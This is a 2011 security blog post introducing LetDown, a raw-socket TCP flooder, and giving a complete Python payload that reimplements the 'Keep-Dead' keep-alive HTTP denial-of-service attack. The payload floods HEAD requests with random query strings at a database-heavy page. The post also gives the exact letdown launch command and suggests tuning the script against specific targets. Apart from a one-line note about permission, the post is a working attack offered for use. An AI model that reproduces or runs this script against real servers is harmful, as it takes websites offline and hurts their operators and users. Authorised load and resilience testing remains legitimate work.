LetDown and HTTP DoS attacks
21 Sep 2011
These days much attention has turned to certain denial of service attacks that plague HTTP, also due to inherent vulnerabilities of the protocol itself.
I've read some nice pages and tools on various blogs/sites (e.g. Keep-Alive DoS script and Slowloris have caught my attention).
Usually all the tools work well, but they have some drawbacks: each one reimplements the wheel from scratch and uses standard operating system sockets to send and receive data. Therefore they are slower and consume more memory than a full raw-socket approach.
In most cases, this is not a problem: just think about the tool Slowloris which has been specifically designed for low bandwidths. But there are also cases where we want to maximize the resources we have...
The problem with the use of raw sockets and packet sniffing is that they are difficult to implement quickly and easily.
For these reasons, some time ago, I developed LetDown, a tcp flooder that uses an indipendent userland TCP/IP stack, supports multistage payloads for complex protocols, and other interesting things (fragmentation of packets, variable tcp window, etc…) we won't analyze right now.
The advantage of using LetDown is that we can concentrate on the data transmitted, leaving out the algorithms and the programming part.
Keep-alive DoS via LetDown
Keep-alive Denial of Service concepts are:
- The use of Keep-Alive HTTP header to maintain the connection open.
- The use of HEAD requests to reduce network overhead.
- Target a resource intensive page (a page that require interaction with databases, files, etc...).
You can read more here: http://www.esrun.co.uk/blog/keep-alive-dos-script/. The author provides a php script that demonstrates the attack.
We can rewrite that script as a multistage payload, i.e. a python script interpreted by the embedded python engine of letdown:
# # Letdown reimplementation of the attack: # Keep-Dead (Version 1.14) # http://www.esrun.co.uk/blog/keep-alive-dos-script/ # # More info: # http://securityadventures.wordpress.com/ # import random # Callback function def callback(count, h_flags, h_payload): global flags global window global action global payload # # Attack options # # target host target_host = "www.domain.net" # target query target_query = "/wordpress/?s=%rand%" # max requests per connection max_requests_per_connection = 100 # user agent user_agent = "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7" # # Send HTTP requests # if count < max_requests_per_connection: # packet settings flags = ack window = 1024 action = act_wait # HTTP request payload = "HEAD " + target_query.replace('%rand%',str(random.getrandbits(20))) + " HTTP/1.1\r\n" payload += "Host: " + target_host + "\r\n" payload += "User-Agent: " + user_agent + "\r\n" payload += "Connection: Keep-Alive\r\n\r\n" # # Close the connection # else: flags = rst action = act_wait
As you can see we did not need to program anything to manage the connection. These tasks are entirely managed by LetDown, via raw sockets and libpcap.
The only options specified are the contents of the TCP packet (the payload), and the action to perform (act_wait means: send the packet and wait for an acknowledgement packet from the server).
We can now lauch the attack with this command:
root@box# letdown -d DESTINATION_IP -D GATEWAY_MAC -p 80 -M payloads/http-keep-alive.py -f iptables -v 2
Of course, these attacks are allowed only if directed against machines on which we have permission to conduct tests. Before using it you should also give a look at the guide (http://complemento.sourceforge.net/howto/index.html) in order to understand low-level operations of the tool, and be able to identify the causes of the eventual errors.
PS: The script can probably be optimized against the specific target introducing appropriate delays (in the base form it's only a Proof-of-Concept).